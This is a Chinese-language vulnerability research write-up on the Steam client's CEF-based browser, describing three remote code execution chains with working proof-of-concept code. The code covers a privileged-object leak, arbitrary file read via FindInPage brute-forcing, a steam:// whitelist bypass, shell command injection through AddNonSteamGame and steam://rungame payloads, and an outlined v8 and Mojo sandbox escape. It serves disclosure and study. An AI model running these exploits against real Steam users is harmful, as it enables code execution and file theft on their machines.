前言

Chromium Embedded Framework(CEF)是一个开源框架,开发者可以将Chromium引擎嵌入至他们的应用程序中。尽管CEF被广泛应用于诸如微信和Epic Games Launcher等流行软件中,但对其安全性的研究却甚少。在本文中,我们将以Steam客户端浏览器(一款基于CEF的应用程序)为例,介绍我们发现的漏洞及其利用方式,展示我们如何构建了三个远程代码执行(RCE)链。

RCE#1:steamwebhelper中多个问题导致RCE

steamwebhelper是Steam客户端内置的浏览器,用于渲染商店、社区、好友等页面。其基于CEF开发,并在CEF的基础上添加了一些功能。我们在这些额外的功能中找到了一系列逻辑漏洞以及特性导致的问题,最终完成了RCE。

在外部页面中获取SteamClient对象

steamwebhelper在加载一些特定的页面,例如steampowered.comsteamloopback.host等页面时,会在JavaScript运行环境中加入一个特权对象SteamClient。对该过程进行逆向后,我们发现,对有域名的url,steamwebhelper会调用BIsTrustedDomain检查其域名是否在白名单中,而对于没有域名的url,会检查其是否为dataabout协议。

在外部页面中打开白名单中的域名会被同源策略限制,然而打开about:blank等页面并不会,因此我们可以在自己可控的页面中打开"about:blank",获取并使用其SteamClient

PoC:

ab_page = open("about:blank");
s_client = ab_page.SteamClient;
alert(s_client);

使用BrowserView加载file协议

SteamClient是steam中内部页面所使用的特权对象,它有很多特权功能,如操作当前的Browser对象、操作窗口位置、下载任意文件等。

通过SteamClient.BrowserView,我们可以创建并管理BrowserView。经过测试发现,BrowserView是一个嵌入在原始网页中的子页面,类似于普通web页面中的一个iframe,但与此对象的交互都是由Steam自身实现。

在测试BrowserView的功能时,我们发现BrowserView.LoadURL调用不会受到任何安全策略的限制,可以加载任意协议任意域名的url,包括chrome://file://等权限较高的协议。

PoC:

b_view = s_client.BrowserView.Create();
b_view.LoadURL("file:///etc/passwd");
b_view.SetBounds(0, 0, 1000, 1000);
b_view.SetVisible(true);

获取BrowserView中加载的页面内容,实现任意文件读

至此我们已可以通过LoadURL加载到本地的任意文件,但是还没有办法直接读取到页面内容。通过测试逆向BrowserView对象,发现其提供了FindInPage功能可以在页面中搜索特定字符串,并且通过调用BrowserView.on("find-in-page-results", callback)可以注册一个回调函数来处理搜索的结果。那么问题变成了:如果可以在页面内搜索一个可控字符串并获取到搜索结果,能否获取到页面的内容?(听起来像是一道CTF题目)

答案是肯定的,最终通过逐字节爆破搜索,我们可以做到任意文件读的效果。

PoC(通过读file:///home/获取用户名):

async function is_str_in_bv(bv, s, count) {
  window.stage = 0;
  bv.FindInPage(s, true, true);
  while (window.stage < 3) { await sleep(10); }
  return window.count > count;
}

b_view.on("find-in-page-results", (a, b) => {
  if (window.stage == 0) {
    if (a == 0 && b == 0) { window.stage = 3; window.count = 0; }
    else window.stage++;
  }
  else if (window.stage++ == 2) window.count = a;
});
baseuser = "/";
charset = "abcdefghijklmnopqrstuvwxyz";
while (true) {
  found = false;
  for (c of charset) {
    teststr = c + baseuser;
    count = 0;
    if ("home/".endsWith(teststr)) count = 1;
    if (await is_str_in_bv(b_view, teststr, count)) {
      found = true;
      break;
    };
  }
  if (!found) break;
  baseuser = teststr;
}
alert(baseuser);

从任意文件读到任意文件创建

在这篇漏洞报告中提到了,通过steam://devkit-1中的list-shortcuts等功能可以做到任意文件创建(文件内容不可控),而这个漏洞的修复方式是在~/.steam/steam.token文件中随机生成一个字符串,在使用steam://devkit-1相关功能时,会验证token是否正确。事实上此方式并未对此功能逻辑上的缺陷进行修复,若攻击者可以读取到token,则可以轻易bypass此修复。

此时,我们正好可以用任意文件读获取到token的内容,从而使用该功能创建任意文件。

然而设想很美好,从steamwebhelper中打开steam://url时会有检查,只有在白名单中的功能可以直接从内置浏览器中打开,而devkit-1并不在其中。

经过我们的研究发现,白名单中的steam://openexternalforpid/会解析其内部的url并加载,通过打开steam://openexternalforpid/1/steam://devkit-1/即可绕过白名单的检查,从而实现任意文件创建。

PoC:

open("steam://openexternalforpid/1/steam://devkit-1/" + token + "/list-shortcuts?response=/tmp/hacked");

任意文件创建到RCE

在众多steam://url提供的功能中,steam://AddNonSteamGame看起来很有趣。顾名思义,它可以将用户提供的字符串作为一个非Steam游戏添加到Steam的游戏库中。Steam客户端会将非Steam游戏当作shell脚本执行,因此,我们可以在字符串中加入反引号来创建一个可以执行任意命令的游戏。想要使用这个功能,需要先创建/tmp/addnonsteamgamefile文件,Steam客户端会检查该文件是否存在,并尝试从中读取gameid。如果它读取到的gameid无效,就会随机生成一个,也就是说,文件里的内容并不影响功能。

巧合的是,我们此前的任意文件创建恰好可以满足此需求,从而能够添加任意自定义的游戏。

在尝试触发时,我们发现steam://openexternalforpid会将要打开的url中的域名转换为小写,即steam://openexternalforpid/1/steam://AddNonSteamGame/会变为steam://addnonsteamgame/,这样会导致该功能无法被Steam正确识别。

经常尝试,我们发现可以通过再加一层steam://open来bypass:

此时我们终于可以任意创建恶意游戏,但是打开游戏需要知道游戏的gameid,而我们并不知道这个随机生成的64位数字。这对于已经拥有任意文件读能力的我们并不是个大问题,我们通过读取~/.local/share/Steam/logs/console_log.txt,可以找到新创建出的恶意游戏的App id。

[2023-11-21 04:11:53] ExecuteSteamURL: "steam://open/steam://AddNonSteamGame/%60gnome-calculator%60"
[2023-11-21 04:11:53] ExecuteSteamURL: "steam://AddNonSteamGame/%60gnome-calculator%60"
[2023-11-21 04:11:53] GLibLog: domain:Gtk  msg:gtk_disable_setlocale() must be called before gtk_init()
[2023-11-21 04:11:53] sanitize shortcut app id "`gnome-calculator`": replacing 0 with 3843969204, reason: k_unAppIdInvalid

最终的gameid可由log中的App id计算得来,计算方法为:app_id << 32 | 0x2000000。在知道了gameid之后,就可以使用steam://rungameid来启动它。

完整的利用代码我们已公开在我们的GitHub

RCE#2:steam://rungame命令注入

steam://rungame是Steam提供的一个url scheme功能可以用于启动游戏并指定其命令行参数,在Linux客户端中打开会执行如下命令:

/bin/sh -c /home/bob/.local/share/Steam/ubuntu12_32/reaper SteamLaunch AppId={appid} -- /home/bob/.local/share/Steam/ubuntu12_32/steam-launch-wrapper -- {gamepath} {argument}

由于是/bin/sh -c执行的,存在命令注入的可能,尝试在命令行参数中加入`ls`,发现会变成'`ls`',由于反引号被单引号包裹,无法直接命令注入。

接着尝试在命令行参数中加入单引号来破坏单引号的配对,却发现单引号直接消失了。

于是我们对steam://rungame的逻辑进行了简单的逆向分析,发现其步骤大致如下:

  1. 调用V_ParseShellCommandLine,直接出现的'会被过滤,而\'会被替换成'
  2. 调用V_EscapeShellArgumentAndAppend在参数两侧加上单引号,并将参数中的'替换成'\''
  3. \替换成\\
  4. 将其拼接进命令字符串执行

可以看出,第三步中所有的\被当成了普通字符,为了/bin/sh能正常处理,添加了一个\用于转义,却没有考虑到\本身就是转义字符的可能性,如果我们将输入设置为\'`gnome-calculator`\',在经历上述四步后会变成:''\\''`gnome-calculator`'\\''',可以看出,将\替换成\\破坏了单引号配对的正确性,导致`gnome-calculator`出现在单引号之外,产生了命令注入的问题。

最后,为了生成能被steam://rungame正确处理的url,需要将\进行url编码,最终的PoC:

<a href="steam://rungame/262410/76561202255233023/%5c'`gnome-calculator`%5c'">POPUP gnome-calculator</a>

此PoC中的262410是《枪支世界:枪械拆解》的App id,可以将其替换成任意已安装的会解析命令行参数的游戏(大部分游戏均支持)。

RCE#3:Chrome历史漏洞

Steam内置的浏览器是基于 Chromium Embedded Framework(CEF)的 85.0.4183.121版本开发的,CEF是一个用来把Chromium嵌入应用的框架,与Chromium的版本号同步,而Chromium 85.0.4183.121版本于2020年9月发布,到如今已经有了数不胜数的历史漏洞,而这些漏洞Steam几乎全未修复。

我们选取了一个v8漏洞(Issue 1234764)以及一个用于沙箱逃逸的漏洞(Issue 1251727)来完成RCE。

前者是一个循环右移优化错误,可以做到renderer进程的任意地址读写,其利用细节在漏洞报告的附件中已介绍得十分详细,在此不再赘述。

后者是一个逻辑漏洞,通过Mojo调用CreateChildFrame创建的kPortalkFencedframe两种类型的frame,状态永远都不会变成kCreated,导致其析构的时候不会调用WebContentsObserver::RenderFrameDeleted通知析构存有RenderFrameHostImpl裸指针的对象,从而构成UAF。该漏洞的品相非常好,free和use都可以主动在任意时刻触发,且后续可以使用任意RFH下的Mojo接口来利用。然而由于漏洞报告中的原始PoC采用的是源码patch的方式来触发漏洞,若想达到此效果,需要patch binary添加shellcode来发送Mojo消息。

在实际编写exploit的过程中,为了减少工作量,我们想尽量少地patch binary,尽量使用JavaScript来编写exploit,但发现kPortal类型的frame无法加载指定src加载HTML,因此也就不能执行JavaScript。一个选择是通过patch来调用RenderFrameImpl::ExecuteJavaScript函数执行JavaScript,并在后续使用Tim Becker在Cleanly Escaping the Chrome Sandbox中提到的通用解决思路:将Mojo的handle从portal frame中发送给主frame来进行利用。

然而此方法仍然需要patch,在此我们提出一个新的利用方法,在有renderer任意读写的情况下,可以不需要patch来让不能执行JavaScript的portal frame发送Mojo消息。

经过我们的研究发现,发送Mojo消息时,实际的路由及处理由mojo::Remote的字段internal_state_.proxy_负责,我们可以利用v8漏洞从g_frame_map中读取到portal的RenderFrameImpl地址,将其发送消息的成员proxy_”偷“给另一个我们所控制的iframe,从而可以用该iframe伪装成portal使用JavaScript发送Mojo消息。

整体的利用思路如下:

  1. 利用v8漏洞开启mojo js

  2. 创建一个iframe A,并使用v8漏洞劫持其虚表修改OwnerType,伪装成portal frame

  3. 创建一个iframe B,用于后续执行JavaScript

  4. 利用v8漏洞在g_frame_map中读取A和B的RenderFrameImpl地址

  5. 利用v8漏洞将A的proxy_赋值给B

  6. 使用B创建Mojo连接

  7. 移除A,析构RenderFrameHostImpl

  8. 使用B触发UAF

  9. 使用Blob来占位、控虚表等后续利用